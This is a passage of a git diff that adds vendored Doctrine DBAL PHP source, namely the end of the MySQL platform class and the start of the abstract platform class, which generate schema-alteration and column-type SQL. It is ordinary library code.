array_unique(array_values($addedIndexes['primary']->getColumns())); + $queryParts[] = 'ADD PRIMARY KEY (' . implode(', ', $keyColumns) . ')'; + unset($addedIndexes['primary']); + $diffModified = true; + } elseif (isset($modifiedIndexes['primary'])) { + $addedColumns = $this->indexAssetsByLowerCaseName($diff->getAddedColumns()); + + // Necessary in case the new primary key includes a new auto_increment column + foreach ($modifiedIndexes['primary']->getColumns() as $columnName) { + if (isset($addedColumns[$columnName]) && $addedColumns[$columnName]->getAutoincrement()) { + $keyColumns = array_unique(array_values($modifiedIndexes['primary']->getColumns())); + $queryParts[] = 'DROP PRIMARY KEY'; + $queryParts[] = 'ADD PRIMARY KEY (' . implode(', ', $keyColumns) . ')'; + unset($modifiedIndexes['primary']); + $diffModified = true; + break; + } + } + } + + if ($diffModified) { + $diff = new TableDiff( + $diff->name, + $diff->getAddedColumns(), + $diff->getModifiedColumns(), + $diff->getDroppedColumns(), + array_values($addedIndexes), + array_values($modifiedIndexes), + $diff->getDroppedIndexes(), + $diff->getOldTable(), + $diff->getAddedForeignKeys(), + $diff->getModifiedForeignKeys(), + $diff->getDroppedForeignKeys(), + $diff->getRenamedColumns(), + $diff->getRenamedIndexes(), + ); + } + + $sql = []; + $tableSql = []; + + if (! $this->onSchemaAlterTable($diff, $tableSql)) { + if (count($queryParts) > 0) { + $sql[] = 'ALTER TABLE ' . ($diff->getOldTable() ?? $diff->getName($this))->getQuotedName($this) . ' ' + . implode(', ', $queryParts); + } + + $sql = array_merge( + $this->getPreAlterTableIndexForeignKeySQL($diff), + $sql, + $this->getPostAlterTableIndexForeignKeySQL($diff), + ); + } + + return array_merge($sql, $tableSql, $columnSql); + } + + /** + * {@inheritDoc} + */ + protected function getPreAlterTableIndexForeignKeySQL(TableDiff $diff) + { + $sql = []; + + $tableNameSQL = ($diff->getOldTable() ?? $diff->getName($this))->getQuotedName($this); + + foreach ($diff->getModifiedIndexes() as $changedIndex) { + $sql = array_merge($sql, $this->getPreAlterTableAlterPrimaryKeySQL($diff, $changedIndex)); + } + + foreach ($diff->getDroppedIndexes() as $droppedIndex) { + $sql = array_merge($sql, $this->getPreAlterTableAlterPrimaryKeySQL($diff, $droppedIndex)); + + foreach ($diff->getAddedIndexes() as $addedIndex) { + if ($droppedIndex->getColumns() !== $addedIndex->getColumns()) { + continue; + } + + $indexClause = 'INDEX ' . $addedIndex->getName(); + + if ($addedIndex->isPrimary()) { + $indexClause = 'PRIMARY KEY'; + } elseif ($addedIndex->isUnique()) { + $indexClause = 'UNIQUE INDEX ' . $addedIndex->getName(); + } + + $query = 'ALTER TABLE ' . $tableNameSQL . ' DROP INDEX ' . $droppedIndex->getName() . ', '; + $query .= 'ADD ' . $indexClause; + $query .= ' (' . $this->getIndexFieldDeclarationListSQL($addedIndex) . ')'; + + $sql[] = $query; + + $diff->unsetAddedIndex($addedIndex); + $diff->unsetDroppedIndex($droppedIndex); + + break; + } + } + + $engine = 'INNODB'; + + $table = $diff->getOldTable(); + + if ($table !== null && $table->hasOption('engine')) { + $engine = strtoupper(trim($table->getOption('engine'))); + } + + // Suppress foreign key constraint propagation on non-supporting engines. + if ($engine !== 'INNODB') { + $diff->addedForeignKeys = []; + $diff->changedForeignKeys = []; + $diff->removedForeignKeys = []; + } + + $sql = array_merge( + $sql, + $this->getPreAlterTableAlterIndexForeignKeySQL($diff), + parent::getPreAlterTableIndexForeignKeySQL($diff), + $this->getPreAlterTableRenameIndexForeignKeySQL($diff), + ); + + return $sql; + } + + /** + * @return string[] + * + * @throws Exception + */ + private function getPreAlterTableAlterPrimaryKeySQL(TableDiff $diff, Index $index): array + { + if (! $index->isPrimary()) { + return []; + } + + $table = $diff->getOldTable(); + + if ($table === null) { + return []; + } + + $sql = []; + + $tableNameSQL = ($diff->getOldTable() ?? $diff->getName($this))->getQuotedName($this); + + // Dropping primary keys requires to unset autoincrement attribute on the particular column first. + foreach ($index->getColumns() as $columnName) { + if (! $table->hasColumn($columnName)) { + continue; + } + + $column = $table->getColumn($columnName); + + if ($column->getAutoincrement() !== true) { + continue; + } + + $column->setAutoincrement(false); + + $sql[] = 'ALTER TABLE ' . $tableNameSQL . ' MODIFY ' . + $this->getColumnDeclarationSQL($column->getQuotedName($this), $column->toArray()); + + // original autoincrement information might be needed later on by other parts of the table alteration + $column->setAutoincrement(true); + } + + return $sql; + } + + /** + * @param TableDiff $diff The table diff to gather the SQL for. + * + * @return string[] + * + * @throws Exception + */ + private function getPreAlterTableAlterIndexForeignKeySQL(TableDiff $diff): array + { + $table = $diff->getOldTable(); + + if ($table === null) { + return []; + } + + $primaryKey = $table->getPrimaryKey(); + + if ($primaryKey === null) { + return []; + } + + $primaryKeyColumns = []; + + foreach ($primaryKey->getColumns() as $columnName) { + if (! $table->hasColumn($columnName)) { + continue; + } + + $primaryKeyColumns[] = $table->getColumn($columnName); + } + + if (count($primaryKeyColumns) === 0) { + return []; + } + + $sql = []; + + $tableNameSQL = $table->getQuotedName($this); + + foreach ($diff->getModifiedIndexes() as $changedIndex) { + // Changed primary key + if (! $changedIndex->isPrimary()) { + continue; + } + + foreach ($primaryKeyColumns as $column) { + // Check if an autoincrement column was dropped from the primary key. + if (! $column->getAutoincrement() || in_array($column->getName(), $changedIndex->getColumns(), true)) { + continue; + } + + // The autoincrement attribute needs to be removed from the dropped column + // before we can drop and recreate the primary key. + $column->setAutoincrement(false); + + $sql[] = 'ALTER TABLE ' . $tableNameSQL . ' MODIFY ' . + $this->getColumnDeclarationSQL($column->getQuotedName($this), $column->toArray()); + + // Restore the autoincrement attribute as it might be needed later on + // by other parts of the table alteration. + $column->setAutoincrement(true); + } + } + + return $sql; + } + + /** + * @param TableDiff $diff The table diff to gather the SQL for. + * + * @return string[] + */ + protected function getPreAlterTableRenameIndexForeignKeySQL(TableDiff $diff) + { + $sql = []; + + $tableNameSQL = ($diff->getOldTable() ?? $diff->getName($this))->getQuotedName($this); + + foreach ($this->getRemainingForeignKeyConstraintsRequiringRenamedIndexes($diff) as $foreignKey) { + if (in_array($foreignKey, $diff->getModifiedForeignKeys(), true)) { + continue; + } + + $sql[] = $this->getDropForeignKeySQL($foreignKey->getQuotedName($this), $tableNameSQL); + } + + return $sql; + } + + /** + * Returns the remaining foreign key constraints that require one of the renamed indexes. + * + * "Remaining" here refers to the diff between the foreign keys currently defined in the associated + * table and the foreign keys to be removed. + * + * @param TableDiff $diff The table diff to evaluate. + * + * @return ForeignKeyConstraint[] + */ + private function getRemainingForeignKeyConstraintsRequiringRenamedIndexes(TableDiff $diff): array + { + if (count($diff->getRenamedIndexes()) === 0) { + return []; + } + + $table = $diff->getOldTable(); + + if ($table === null) { + return []; + } + + $foreignKeys = []; + /** @var ForeignKeyConstraint[] $remainingForeignKeys */ + $remainingForeignKeys = array_diff_key( + $table->getForeignKeys(), + $diff->getDroppedForeignKeys(), + ); + + foreach ($remainingForeignKeys as $foreignKey) { + foreach ($diff->getRenamedIndexes() as $index) { + if ($foreignKey->intersectsIndexColumns($index)) { + $foreignKeys[] = $foreignKey; + + break; + } + } + } + + return $foreignKeys; + } + + /** + * {@inheritDoc} + */ + protected function getPostAlterTableIndexForeignKeySQL(TableDiff $diff) + { + return array_merge( + parent::getPostAlterTableIndexForeignKeySQL($diff), + $this->getPostAlterTableRenameIndexForeignKeySQL($diff), + ); + } + + /** + * @param TableDiff $diff The table diff to gather the SQL for. + * + * @return string[] + */ + protected function getPostAlterTableRenameIndexForeignKeySQL(TableDiff $diff) + { + $sql = []; + $newName = $diff->getNewName(); + + if ($newName !== false) { + $tableNameSQL = $newName->getQuotedName($this); + } else { + $tableNameSQL = ($diff->getOldTable() ?? $diff->getName($this))->getQuotedName($this); + } + + foreach ($this->getRemainingForeignKeyConstraintsRequiringRenamedIndexes($diff) as $foreignKey) { + if (in_array($foreignKey, $diff->getModifiedForeignKeys(), true)) { + continue; + } + + $sql[] = $this->getCreateForeignKeySQL($foreignKey, $tableNameSQL); + } + + return $sql; + } + + /** + * {@inheritDoc} + */ + protected function getCreateIndexSQLFlags(Index $index) + { + $type = ''; + if ($index->isUnique()) { + $type .= 'UNIQUE '; + } elseif ($index->hasFlag('fulltext')) { + $type .= 'FULLTEXT '; + } elseif ($index->hasFlag('spatial')) { + $type .= 'SPATIAL '; + } + + return $type; + } + + /** + * {@inheritDoc} + */ + public function getIntegerTypeDeclarationSQL(array $column) + { + return 'INT' . $this->_getCommonIntegerTypeDeclarationSQL($column); + } + + /** + * {@inheritDoc} + */ + public function getBigIntTypeDeclarationSQL(array $column) + { + return 'BIGINT' . $this->_getCommonIntegerTypeDeclarationSQL($column); + } + + /** + * {@inheritDoc} + */ + public function getSmallIntTypeDeclarationSQL(array $column) + { + return 'SMALLINT' . $this->_getCommonIntegerTypeDeclarationSQL($column); + } + + /** + * {@inheritDoc} + */ + public function getFloatDeclarationSQL(array $column) + { + return 'DOUBLE PRECISION' . $this->getUnsignedDeclaration($column); + } + + /** + * {@inheritDoc} + */ + public function getDecimalTypeDeclarationSQL(array $column) + { + return parent::getDecimalTypeDeclarationSQL($column) . $this->getUnsignedDeclaration($column); + } + + /** + * Get unsigned declaration for a column. + * + * @param mixed[] $columnDef + */ + private function getUnsignedDeclaration(array $columnDef): string + { + return ! empty($columnDef['unsigned']) ? ' UNSIGNED' : ''; + } + + /** + * {@inheritDoc} + */ + protected function _getCommonIntegerTypeDeclarationSQL(array $column) + { + $autoinc = ''; + if (! empty($column['autoincrement'])) { + $autoinc = ' AUTO_INCREMENT'; + } + + return $this->getUnsignedDeclaration($column) . $autoinc; + } + + /** + * {@inheritDoc} + * + * @internal The method should be only used from within the {@see AbstractPlatform} class hierarchy. + */ + public function getColumnCharsetDeclarationSQL($charset) + { + return 'CHARACTER SET ' . $charset; + } + + /** + * {@inheritDoc} + * + * @internal The method should be only used from within the {@see AbstractPlatform} class hierarchy. + */ + public function getAdvancedForeignKeyOptionsSQL(ForeignKeyConstraint $foreignKey) + { + $query = ''; + if ($foreignKey->hasOption('match')) { + $query .= ' MATCH ' . $foreignKey->getOption('match'); + } + + $query .= parent::getAdvancedForeignKeyOptionsSQL($foreignKey); + + return $query; + } + + /** + * {@inheritDoc} + */ + public function getDropIndexSQL($index, $table = null) + { + if ($index instanceof Index) { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/issues/4798', + 'Passing $index as an Index object to %s is deprecated. Pass it as a quoted name instead.', + __METHOD__, + ); + + $indexName = $index->getQuotedName($this); + } elseif (is_string($index)) { + $indexName = $index; + } else { + throw new InvalidArgumentException( + __METHOD__ . '() expects $index parameter to be string or ' . Index::class . '.', + ); + } + + if ($table instanceof Table) { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/issues/4798', + 'Passing $table as a Table object to %s is deprecated. Pass it as a quoted name instead.', + __METHOD__, + ); + + $table = $table->getQuotedName($this); + } elseif (! is_string($table)) { + throw new InvalidArgumentException( + __METHOD__ . '() expects $table parameter to be string or ' . Table::class . '.', + ); + } + + if ($index instanceof Index && $index->isPrimary()) { + // MySQL primary keys are always named "PRIMARY", + // so we cannot use them in statements because of them being keyword. + return $this->getDropPrimaryKeySQL($table); + } + + return 'DROP INDEX ' . $indexName . ' ON ' . $table; + } + + /** + * @param string $table + * + * @return string + */ + protected function getDropPrimaryKeySQL($table) + { + return 'ALTER TABLE ' . $table . ' DROP PRIMARY KEY'; + } + + /** + * The `ALTER TABLE ... DROP CONSTRAINT` syntax is only available as of MySQL 8.0.19. + * + * @link https://dev.mysql.com/doc/refman/8.0/en/alter-table.html + */ + public function getDropUniqueConstraintSQL(string $name, string $tableName): string + { + return $this->getDropIndexSQL($name, $tableName); + } + + /** + * {@inheritDoc} + */ + public function getSetTransactionIsolationSQL($level) + { + return 'SET SESSION TRANSACTION ISOLATION LEVEL ' . $this->_getTransactionIsolationLevelSQL($level); + } + + /** + * {@inheritDoc} + */ + public function getName() + { + Deprecation::triggerIfCalledFromOutside( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/issues/4749', + 'AbstractMySQLPlatform::getName() is deprecated. Identify platforms by their class.', + ); + + return 'mysql'; + } + + /** + * {@inheritDoc} + */ + public function getReadLockSQL() + { + return 'LOCK IN SHARE MODE'; + } + + /** + * {@inheritDoc} + */ + protected function initializeDoctrineTypeMappings() + { + $this->doctrineTypeMapping = [ + 'bigint' => Types::BIGINT, + 'binary' => Types::BINARY, + 'blob' => Types::BLOB, + 'char' => Types::STRING, + 'date' => Types::DATE_MUTABLE, + 'datetime' => Types::DATETIME_MUTABLE, + 'decimal' => Types::DECIMAL, + 'double' => Types::FLOAT, + 'float' => Types::FLOAT, + 'int' => Types::INTEGER, + 'integer' => Types::INTEGER, + 'longblob' => Types::BLOB, + 'longtext' => Types::TEXT, + 'mediumblob' => Types::BLOB, + 'mediumint' => Types::INTEGER, + 'mediumtext' => Types::TEXT, + 'numeric' => Types::DECIMAL, + 'real' => Types::FLOAT, + 'set' => Types::SIMPLE_ARRAY, + 'smallint' => Types::SMALLINT, + 'string' => Types::STRING, + 'text' => Types::TEXT, + 'time' => Types::TIME_MUTABLE, + 'timestamp' => Types::DATETIME_MUTABLE, + 'tinyblob' => Types::BLOB, + 'tinyint' => Types::BOOLEAN, + 'tinytext' => Types::TEXT, + 'varbinary' => Types::BINARY, + 'varchar' => Types::STRING, + 'year' => Types::DATE_MUTABLE, + ]; + } + + /** + * {@inheritDoc} + * + * @deprecated + */ + public function getVarcharMaxLength() + { + Deprecation::triggerIfCalledFromOutside( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/issues/3263', + 'AbstractMySQLPlatform::getVarcharMaxLength() is deprecated.', + ); + + return 65535; + } + + /** + * {@inheritDoc} + * + * @deprecated + */ + public function getBinaryMaxLength() + { + Deprecation::triggerIfCalledFromOutside( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/issues/3263', + 'AbstractMySQLPlatform::getBinaryMaxLength() is deprecated.', + ); + + return 65535; + } + + /** + * {@inheritDoc} + * + * @deprecated Implement {@see createReservedKeywordsList()} instead. + */ + protected function getReservedKeywordsClass() + { + Deprecation::triggerIfCalledFromOutside( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/issues/4510', + 'AbstractMySQLPlatform::getReservedKeywordsClass() is deprecated,' + . ' use AbstractMySQLPlatform::createReservedKeywordsList() instead.', + ); + + return Keywords\MySQLKeywords::class; + } + + /** + * {@inheritDoc} + * + * MySQL commits a transaction implicitly when DROP TABLE is executed, however not + * if DROP TEMPORARY TABLE is executed. + */ + public function getDropTemporaryTableSQL($table) + { + if ($table instanceof Table) { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/issues/4798', + 'Passing $table as a Table object to %s is deprecated. Pass it as a quoted name instead.', + __METHOD__, + ); + + $table = $table->getQuotedName($this); + } elseif (! is_string($table)) { + throw new InvalidArgumentException( + __METHOD__ . '() expects $table parameter to be string or ' . Table::class . '.', + ); + } + + return 'DROP TEMPORARY TABLE ' . $table; + } + + /** + * Gets the SQL Snippet used to declare a BLOB column type. + * TINYBLOB : 2 ^ 8 - 1 = 255 + * BLOB : 2 ^ 16 - 1 = 65535 + * MEDIUMBLOB : 2 ^ 24 - 1 = 16777215 + * LONGBLOB : 2 ^ 32 - 1 = 4294967295 + * + * {@inheritDoc} + */ + public function getBlobTypeDeclarationSQL(array $column) + { + if (! empty($column['length']) && is_numeric($column['length'])) { + $length = $column['length']; + + if ($length <= static::LENGTH_LIMIT_TINYBLOB) { + return 'TINYBLOB'; + } + + if ($length <= static::LENGTH_LIMIT_BLOB) { + return 'BLOB'; + } + + if ($length <= static::LENGTH_LIMIT_MEDIUMBLOB) { + return 'MEDIUMBLOB'; + } + } + + return 'LONGBLOB'; + } + + /** + * {@inheritDoc} + */ + public function quoteStringLiteral($str) + { + $str = str_replace('\\', '\\\\', $str); // MySQL requires backslashes to be escaped + + return parent::quoteStringLiteral($str); + } + + /** + * {@inheritDoc} + */ + public function getDefaultTransactionIsolationLevel() + { + return TransactionIsolationLevel::REPEATABLE_READ; + } + + public function supportsColumnLengthIndexes(): bool + { + return true; + } + + protected function getDatabaseNameSQL(?string $databaseName): string + { + if ($databaseName !== null) { + return $this->quoteStringLiteral($databaseName); + } + + return $this->getCurrentDatabaseExpression(); + } + + public function createSchemaManager(Connection $connection): MySQLSchemaManager + { + return new MySQLSchemaManager($connection, $this); + } + + /** + * @param list $assets + * + * @return array + * + * @template T of AbstractAsset + */ + private function indexAssetsByLowerCaseName(array $assets): array + { + $result = []; + + foreach ($assets as $asset) { + $result[strtolower($asset->getName())] = $asset; + } + + return $result; + } +} diff --git a/vendor/doctrine/dbal/src/Platforms/AbstractPlatform.php b/vendor/doctrine/dbal/src/Platforms/AbstractPlatform.php new file mode 100644 index 000000000..eba3aefc8 --- /dev/null +++ b/vendor/doctrine/dbal/src/Platforms/AbstractPlatform.php @@ -0,0 +1,4676 @@ +disableTypeComments = $value; + } + + /** + * Sets the EventManager used by the Platform. + * + * @deprecated + * + * @return void + */ + public function setEventManager(EventManager $eventManager) + { + Deprecation::triggerIfCalledFromOutside( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/issues/5784', + '%s is deprecated.', + __METHOD__, + ); + + $this->_eventManager = $eventManager; + } + + /** + * Gets the EventManager used by the Platform. + * + * @deprecated + * + * @return EventManager|null + */ + public function getEventManager() + { + Deprecation::triggerIfCalledFromOutside( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/issues/5784', + '%s is deprecated.', + __METHOD__, + ); + + return $this->_eventManager; + } + + /** + * Returns the SQL snippet that declares a boolean column. + * + * @param mixed[] $column + * + * @return string + */ + abstract public function getBooleanTypeDeclarationSQL(array $column); + + /** + * Returns the SQL snippet that declares a 4 byte integer column. + * + * @param mixed[] $column + * + * @return string + */ + abstract public function getIntegerTypeDeclarationSQL(array $column); + + /** + * Returns the SQL snippet that declares an 8 byte integer column. + * + * @param mixed[] $column + * + * @return string + */ + abstract public function getBigIntTypeDeclarationSQL(array $column); + + /** + * Returns the SQL snippet that declares a 2 byte integer column. + * + * @param mixed[] $column + * + * @return string + */ + abstract public function getSmallIntTypeDeclarationSQL(array $column); + + /** + * Returns the SQL snippet that declares common properties of an integer column. + * + * @param mixed[] $column + * + * @return string + */ + abstract protected function _getCommonIntegerTypeDeclarationSQL(array $column); + + /** + * Lazy load Doctrine Type Mappings. + * + * @return void + */ + abstract protected function initializeDoctrineTypeMappings(); + + /** + * Initializes Doctrine Type Mappings with the platform defaults + * and with all additional type mappings. + */ + private function initializeAllDoctrineTypeMappings(): void + { + $this->initializeDoctrineTypeMappings(); + + foreach (Type::getTypesMap() as $typeName => $className) { + foreach (Type::getType($typeName)->getMappedDatabaseTypes($this) as $dbType) { + $this->doctrineTypeMapping[$dbType] = $typeName; + } + } + } + + /** + * Returns the SQL snippet used to declare a column that can + * store characters in the ASCII character set + * + * @param mixed[] $column + */ + public function getAsciiStringTypeDeclarationSQL(array $column): string + { + return $this->getStringTypeDeclarationSQL($column); + } + + /** + * Returns the SQL snippet used to declare a VARCHAR column type. + * + * @deprecated Use {@link getStringTypeDeclarationSQL()} instead. + * + * @param mixed[] $column + * + * @return string + */ + public function getVarcharTypeDeclarationSQL(array $column) + { + if (isset($column['length'])) { + $lengthOmitted = false; + } else { + $column['length'] = $this->getVarcharDefaultLength(); + $lengthOmitted = true; + } + + $fixed = $column['fixed'] ?? false; + + $maxLength = $fixed + ? $this->getCharMaxLength() + : $this->getVarcharMaxLength(); + + if ($column['length'] > $maxLength) { + return $this->getClobTypeDeclarationSQL($column); + } + + return $this->getVarcharTypeDeclarationSQLSnippet($column['length'], $fixed, $lengthOmitted); + } + + /** + * Returns the SQL snippet used to declare a string column type. + * + * @param mixed[] $column + * + * @return string + */ + public function getStringTypeDeclarationSQL(array $column) + { + return $this->getVarcharTypeDeclarationSQL($column); + } + + /** + * Returns the SQL snippet used to declare a BINARY/VARBINARY column type. + * + * @param mixed[] $column The column definition. + * + * @return string + */ + public function getBinaryTypeDeclarationSQL(array $column) + { + if (isset($column['length'])) { + $lengthOmitted = false; + } else { + $column['length'] = $this->getBinaryDefaultLength(); + $lengthOmitted = true; + } + + $fixed = $column['fixed'] ?? false; + + $maxLength = $this->getBinaryMaxLength(); + + if ($column['length'] > $maxLength) { + if ($maxLength > 0) { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/issues/3187', + 'Binary column length %d is greater than supported by the platform (%d).' + . ' Reduce the column length or use a BLOB column instead.', + $column['length'], + $maxLength, + ); + } + + return $this->getBlobTypeDeclarationSQL($column); + } + + return $this->getBinaryTypeDeclarationSQLSnippet($column['length'], $fixed, $lengthOmitted); + } + + /** + * Returns the SQL snippet to declare a GUID/UUID column. + * + * By default this maps directly to a CHAR(36) and only maps to more + * special datatypes when the underlying databases support this datatype. + * + * @param mixed[] $column + * + * @return string + */ + public function getGuidTypeDeclarationSQL(array $column) + { + $column['length'] = 36; + $column['fixed'] = true; + + return $this->getStringTypeDeclarationSQL($column); + } + + /** + * Returns the SQL snippet to declare a JSON column. + * + * By default this maps directly to a CLOB and only maps to more + * special datatypes when the underlying databases support this datatype. + * + * @param mixed[] $column + * + * @return string + */ + public function getJsonTypeDeclarationSQL(array $column) + { + return $this->getClobTypeDeclarationSQL($column); + } + + /** + * @param int|false $length + * @param bool $fixed + * + * @return string + * + * @throws Exception If not supported on this platform. + */ + protected function getVarcharTypeDeclarationSQLSnippet($length, $fixed/*, $lengthOmitted = false*/) + { + throw Exception::notSupported('VARCHARs not supported by Platform.'); + } + + /** + * Returns the SQL snippet used to declare a BINARY/VARBINARY column type. + * + * @param int|false $length The length of the column. + * @param bool $fixed Whether the column length is fixed. + * + * @return string + * + * @throws Exception If not supported on this platform. + */ + protected function getBinaryTypeDeclarationSQLSnippet($length, $fixed/*, $lengthOmitted = false*/) + { + throw Exception::notSupported('BINARY/VARBINARY column types are not supported by this platform.'); + } + + /** + * Returns the SQL snippet used to declare a CLOB column type. + * + * @param mixed[] $column + * + * @return string + */ + abstract public function getClobTypeDeclarationSQL(array $column); + + /** + * Returns the SQL Snippet used to declare a BLOB column type. + * + * @param mixed[] $column + * + * @return string + */ + abstract public function getBlobTypeDeclarationSQL(array $column); + + /** + * Gets the name of the platform. + * + * @deprecated Identify platforms by their class. + * + * @return string + */ + abstract public function getName(); + + /** + * Registers a doctrine type to be used in conjunction with a column type of this platform. + * + * @param string $dbType + * @param string $doctrineType + * + * @return void + * + * @throws Exception If the type is not found. + */ + public function registerDoctrineTypeMapping($dbType, $doctrineType) + { + if ($this->doctrineTypeMapping === null) { + $this->initializeAllDoctrineTypeMappings(); + } + + if (! Types\Type::hasType($doctrineType)) { + throw Exception::typeNotFound($doctrineType); + } + + $dbType = strtolower($dbType); + $this->doctrineTypeMapping[$dbType] = $doctrineType; + + $doctrineType = Type::getType($doctrineType); + + if (! $doctrineType->requiresSQLCommentHint($this)) { + return; + } + + $this->markDoctrineTypeCommented($doctrineType); + } + + /** + * Gets the Doctrine type that is mapped for the given database column type. + * + * @param string $dbType + * + * @return string + * + * @throws Exception + */ + public function getDoctrineTypeMapping($dbType) + { + if ($this->doctrineTypeMapping === null) { + $this->initializeAllDoctrineTypeMappings(); + } + + $dbType = strtolower($dbType); + + if (! isset($this->doctrineTypeMapping[$dbType])) { + throw new Exception( + 'Unknown database type ' . $dbType . ' requested, ' . static::class . ' may not support it.', + ); + } + + return $this->doctrineTypeMapping[$dbType]; + } + + /** + * Checks if a database type is currently supported by this platform. + * + * @param string $dbType + * + * @return bool + */ + public function hasDoctrineTypeMappingFor($dbType) + { + if ($this->doctrineTypeMapping === null) { + $this->initializeAllDoctrineTypeMappings(); + } + + $dbType = strtolower($dbType); + + return isset($this->doctrineTypeMapping[$dbType]); + } + + /** + * Initializes the Doctrine Type comments instance variable for in_array() checks. + * + * @deprecated This API will be removed in Doctrine DBAL 4.0. + * + * @return void + */ + protected function initializeCommentedDoctrineTypes() + { + Deprecation::triggerIfCalledFromOutside( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/5058', + '%s is deprecated and will be removed in Doctrine DBAL 4.0.', + __METHOD__, + ); + + $this->doctrineTypeComments = []; + + foreach (Type::getTypesMap() as $typeName => $className) { + $type = Type::getType($typeName); + + if (! $type->requiresSQLCommentHint($this)) { + continue; + } + + $this->doctrineTypeComments[] = $typeName; + } + } + + /** + * Is it necessary for the platform to add a parsable type comment to allow reverse engineering the given type? + * + * @deprecated Use {@link Type::requiresSQLCommentHint()} instead. + * + * @return bool + */ + public function isCommentedDoctrineType(Type $doctrineType) + { + Deprecation::triggerIfCalledFromOutside( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/5058', + '%s is deprecated and will be removed in Doctrine DBAL 4.0. Use Type::requiresSQLCommentHint() instead.', + __METHOD__, + ); + + if ($this->doctrineTypeComments === null) { + $this->initializeCommentedDoctrineTypes(); + } + + return $doctrineType->requiresSQLCommentHint($this); + } + + /** + * Marks this type as to be commented in ALTER TABLE and CREATE TABLE statements. + * + * @param string|Type $doctrineType + * + * @return void + */ + public function markDoctrineTypeCommented($doctrineType) + { + Deprecation::triggerIfCalledFromOutside( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/5058', + '%s is deprecated and will be removed in Doctrine DBAL 4.0. Use Type::requiresSQLCommentHint() instead.', + __METHOD__, + ); + + if ($this->doctrineTypeComments === null) { + $this->initializeCommentedDoctrineTypes(); + } + + assert(is_array($this->doctrineTypeComments)); + + $this->doctrineTypeComments[] = $doctrineType instanceof Type ? $doctrineType->getName() : $doctrineType; + } + + /** + * Gets the comment to append to a column comment that helps parsing this type in reverse engineering. + * + * @deprecated This method will be removed without replacement. + * + * @return string + */ + public function getDoctrineTypeComment(Type $doctrineType) + { + Deprecation::triggerIfCalledFromOutside( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/5107', + '%s is deprecated and will be removed in Doctrine DBAL 4.0.', + __METHOD__, + ); + + return '(DC2Type:' . $doctrineType->getName() . ')'; + } + + /** + * Gets the comment of a passed column modified by potential doctrine type comment hints. + * + * @deprecated This method will be removed without replacement. + * + * @return string|null + */ + protected function getColumnComment(Column $column) + { + Deprecation::triggerIfCalledFromOutside( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/5107', + '%s is deprecated and will be removed in Doctrine DBAL 4.0.', + __METHOD__, + ); + + $comment = $column->getComment(); + + if (! $this->disableTypeComments && $column->getType()->requiresSQLCommentHint($this)) { + $comment .= $this->getDoctrineTypeComment($column->getType()); + } + + return $comment; + } + + /** + * Gets the character used for identifier quoting. + * + * @deprecated Use {@see quoteIdentifier()} to quote identifiers instead. + * + * @return string + */ + public function getIdentifierQuoteCharacter() + { + Deprecation::triggerIfCalledFromOutside( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/5388', + 'AbstractPlatform::getIdentifierQuoteCharacter() is deprecated. Use quoteIdentifier() instead.', + ); + + return '"'; + } + + /** + * Gets the string portion that starts an SQL comment. + * + * @deprecated + * + * @return string + */ + public function getSqlCommentStartString() + { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/4724', + 'AbstractPlatform::getSqlCommentStartString() is deprecated.', + ); + + return '--'; + } + + /** + * Gets the string portion that ends an SQL comment. + * + * @deprecated + * + * @return string + */ + public function getSqlCommentEndString() + { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/4724', + 'AbstractPlatform::getSqlCommentEndString() is deprecated.', + ); + + return "\n"; + } + + /** + * Gets the maximum length of a char column. + * + * @deprecated + */ + public function getCharMaxLength(): int + { + Deprecation::triggerIfCalledFromOutside( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/issues/3263', + 'AbstractPlatform::getCharMaxLength() is deprecated.', + ); + + return $this->getVarcharMaxLength(); + } + + /** + * Gets the maximum length of a varchar column. + * + * @deprecated + * + * @return int + */ + public function getVarcharMaxLength() + { + Deprecation::triggerIfCalledFromOutside( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/issues/3263', + 'AbstractPlatform::getVarcharMaxLength() is deprecated.', + ); + + return 4000; + } + + /** + * Gets the default length of a varchar column. + * + * @deprecated + * + * @return int + */ + public function getVarcharDefaultLength() + { + Deprecation::triggerIfCalledFromOutside( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/issues/3263', + 'Relying on the default varchar column length is deprecated, specify the length explicitly.', + ); + + return 255; + } + + /** + * Gets the maximum length of a binary column. + * + * @deprecated + * + * @return int + */ + public function getBinaryMaxLength() + { + Deprecation::triggerIfCalledFromOutside( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/issues/3263', + 'AbstractPlatform::getBinaryMaxLength() is deprecated.', + ); + + return 4000; + } + + /** + * Gets the default length of a binary column. + * + * @deprecated + * + * @return int + */ + public function getBinaryDefaultLength() + { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/issues/3263', + 'Relying on the default binary column length is deprecated, specify the length explicitly.', + ); + + return 255; + } + + /** + * Gets all SQL wildcard characters of the platform. + * + * @deprecated Use {@see AbstractPlatform::getLikeWildcardCharacters()} instead. + * + * @return string[] + */ + public function getWildcards() + { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/4724', + 'AbstractPlatform::getWildcards() is deprecated.' + . ' Use AbstractPlatform::getLikeWildcardCharacters() instead.', + ); + + return ['%', '_']; + } + + /** + * Returns the regular expression operator. + * + * @return string + * + * @throws Exception If not supported on this platform. + */ + public function getRegexpExpression() + { + throw Exception::notSupported(__METHOD__); + } + + /** + * Returns the SQL snippet to get the average 